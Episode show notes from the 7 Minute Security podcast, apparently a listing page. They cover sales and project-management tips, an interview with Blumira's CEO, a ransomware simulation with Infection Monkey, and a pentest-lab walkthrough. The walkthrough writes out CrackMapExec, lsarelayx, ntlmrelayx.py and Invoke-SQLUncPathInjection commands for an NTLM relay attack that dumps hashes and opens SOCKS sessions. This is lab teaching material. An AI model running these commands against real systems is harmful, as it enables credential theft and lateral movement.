7MS #467: How to Succeed in Business Without Really Crying - Part 9

7MS #467: How to Succeed in Business Without Really Crying - Part 9

Hey everybody! I stayed in a hotel for the first time in over a year and boy oh boy...I hope I didn't get COVID from the bedsheets!

Anyhow, on that journey I thought of some things that I think will help your business on the marketing/project management/sales side to be more successful and less annoying. DISCLAIMER: I have no formal training in these areas, but I've been on both sides of the table for a number of years, and I think I'm getting a better idea of what clients do and don't like during the sales process. These things include:

  • Reduce layers of people complexity - don't have 17 of your people on the client intro/pitch call and then ghost them once they actually want to buy something!

  • Keep project management just complicated enough - I like project management tools and spreadsheet task-trackers like Smartsheet but I'm trying to let the client lead as far as how much detail they need when tracking their projects. By default, we create a document with a high level map of project milestones, timelines and key contact information. We update that as often as the client likes.

  • Personalize responses to Web leads - if you have an info@ or sales@ address for your business, I think you should personalize the response you give folks who write in. They wrote you for a reason! Don't just copy/paste some generic "Hey you wanted info about our company so here it is blah blah blah" response, that doesn't make people feel like you give a rip about their needs. Think of something personal to say in the reply. "Oh, I see you're in Minnesota. I'm a big Twins fan!" Something like that. Simple, easy and personal.

  • Don't sign people up for junk without asking - in this episode I give an example of a vendor we looked at (but didn't select) for some services, and the company decided to automatically sign ups up for a bunch of electronic and paper mailings. That's super annoying!

  • Don't stink at LinkedIn - in the last episode of this series, I told you about a guy who (to me) wins LinkedIn and the Internet because he sent me a personalized video LinkedIn invitation - it was awesome! Be more like that guy, and less like the mosquitoes who send invites like "Hi, I noticed you're human and figured we should be LinkedIn BFFs" and then sign you up for a non-stop barrage of sales pitches!

  • Bug people "just enough" - if you've had an awesome scoping call for a potential project and the client has received and reviewed the SOW, stay in touch with them periodically - even if it feels like you're being ghosted.

7MS #570: How to Build a Vulnerable Pentest Lab - Part 4

7MS #570: How to Build a Vulnerable Pentest Lab - Part 4

SafePass.me is the only enterprise solution to protect organizations against credential stuffing and password spraying attacks. Visit safepass.me for more details, and tell them 7 Minute Security sent you to get a 10% discount! In today's episode we staged an NTLM relay attack using a vulnerable SQL server. First we used CrackMapExec (see our two part series on Cracking and Mapping and Execing with CrackMapExec - part 1 / part 2) to find hosts with SMB signing disabled: cme smb x.x.x.x/24 -u USER -p PASS --gen-relay-list smbsigning.txt Then we setup lsarelayx in one window: lsarelayx --host=localhost And in a second window we ran ntlmrelayx.py: python ntlmrelayx.py -smb2support --no-smb-server -t smb://VICTIM Finally, in a third window we triggered authentication from the vulnerable SQL server: Invoke-SQLUncPathInjection -verbose -captureip OUR.ATTACKING.IP.ADDRESS Boom! Watch the local usernames and hashes fall out of the victim system. We also tried doing a multirelay scenario where we had a list of victim hosts in a targets.txt file like this: victim1 victim2 victim3 Then we tweaked the ntlmrelayx command slightly: python ntlmrelayx.py -smb2support --no-smb-server -tf targets.txt Interestingly(?) only victim2 was attacked. Lastly, we ran the same attack but added the -socks option to establish SOCKS connections upon successful relay: python ntlmrelayx.py -smb2support --no-smb-server -tf targets.txt -socks Interestingly(?) we got a low-priv user to relay and setup a SOCKS connection, but not the domain admin configured on the SQL server. TLDR/TLDL: relaying credentials to a single victim with ntlmrelay on a Windows hosts seems to work great! Your milage may vary if you try to pull off more advanced tricks with ntlmrelay.

7MS #569: Interview with Jim Simpson of Blumira

7MS #569: Interview with Jim Simpson of Blumira

Today we're excited to share a featured interview with our new friend Jim Simpson, CEO of Blumira. Jim was in security before it was hip/cool/lucrative, working with a number of startups as well as some big names like Duo. Blumira and 7 Minute Security have a shared love for helping SMBs be more secure, so it was great to chat with Jim about the IT/security challenges faced by SMBs, and what we can do make security more simple and accessible for them.

7MS #565: How to Simulate Ransomware with a Monkey

7MS #565: How to Simulate Ransomware with a Monkey

Hey friends, today we talk through how to simulate ransomware (in a test environment!) using Infection Monkey. It's a cool way to show your team and execs just how quick and deadly an infection can be to your business. You can feed the monkey a list of usernames and passwords/hashes to use for lateral movement, test network segmentation, set a UNC path of files to actually encrypt (careful - run in a test lab - NOT in prod!) and more!
